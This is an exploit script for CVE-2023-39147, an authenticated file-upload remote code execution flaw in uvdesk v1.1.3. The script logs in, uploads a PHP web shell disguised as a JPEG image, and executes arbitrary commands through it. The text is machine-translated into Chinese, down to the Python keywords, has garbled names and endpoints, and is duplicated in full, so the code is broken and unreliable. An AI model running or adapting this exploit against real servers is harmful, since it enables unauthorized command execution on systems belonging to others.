#exploit title: uvdesk v1.1.3-文件上传远程代码执行(RCE)(认证)
#日期: 28/07/2023
#利用作者:丹尼尔马云惹不起马云巴罗斯(@cupc4k3d) - hakai进攻安全
#供应商homepage: https://www.uvdesk.com
#软件link: https://github.com/uvdesk/community-skeleton
#版本: 1.1.3
#example: Python3 CVE -2023-39147.PY -U'http://$ ip:8000/'-c'whoami'
#CVE : CVE-2023-39147
#测试在: Ubuntu 20.04.6
导入请求
导入argparse
def get_args():
Parser=argparse.argumentparser()
parser.add_argument(' - u',' - url',必需=true,action='store',help='target url')
parser.add_argument(' - c',' - command',必需=true,action='store',help='命令执行')
my_args=parser.parse_args()
返回my_args
def main():
args=get_args()
base_url=args.url
命令=args.command
uploaded_file='shell.php'
url_cmd=base_url +'//assets/knowledgebase/shell.php?cmd=' +命令
#在这里编辑您的凭据
login_data={
'_username':'[email protected]',
'_password':'passwd',
'_remember_me':'关闭'
}
文件={
'name':(无,'pwn'),
'description':(无,'xxt'),
“可见性” :(无,'public'),
'SolutionImage':(uploaded_file'?php system($ _ get ['cmd']);','image/jpg')
}
s=requests.session()
#登录
s. -post(base_url +'/en/member/login',data=login_data)
#上传
upload_response=s.post(base_url +'/en/member/novensingbase/folderbase/new',files=files)
#执行命令
cmd=s.get(url_cmd)
打印(cmd.text)
如果name=='__ -Main __':
主要的()
#日期: 28/07/2023
#利用作者:丹尼尔马云惹不起马云巴罗斯(@cupc4k3d) - hakai进攻安全
#供应商homepage: https://www.uvdesk.com
#软件link: https://github.com/uvdesk/community-skeleton
#版本: 1.1.3
#example: Python3 CVE -2023-39147.PY -U'http://$ ip:8000/'-c'whoami'
#CVE : CVE-2023-39147
#测试在: Ubuntu 20.04.6
导入请求
导入argparse
def get_args():
Parser=argparse.argumentparser()
parser.add_argument(' - u',' - url',必需=true,action='store',help='target url')
parser.add_argument(' - c',' - command',必需=true,action='store',help='命令执行')
my_args=parser.parse_args()
返回my_args
def main():
args=get_args()
base_url=args.url
命令=args.command
uploaded_file='shell.php'
url_cmd=base_url +'//assets/knowledgebase/shell.php?cmd=' +命令
#在这里编辑您的凭据
login_data={
'_username':'[email protected]',
'_password':'passwd',
'_remember_me':'关闭'
}
文件={
'name':(无,'pwn'),
'description':(无,'xxt'),
“可见性” :(无,'public'),
'SolutionImage':(uploaded_file'?php system($ _ get ['cmd']);','image/jpg')
}
s=requests.session()
#登录
s. -post(base_url +'/en/member/login',data=login_data)
#上传
upload_response=s.post(base_url +'/en/member/novensingbase/folderbase/new',files=files)
#执行命令
cmd=s.get(url_cmd)
打印(cmd.text)
如果name=='__ -Main __':
主要的()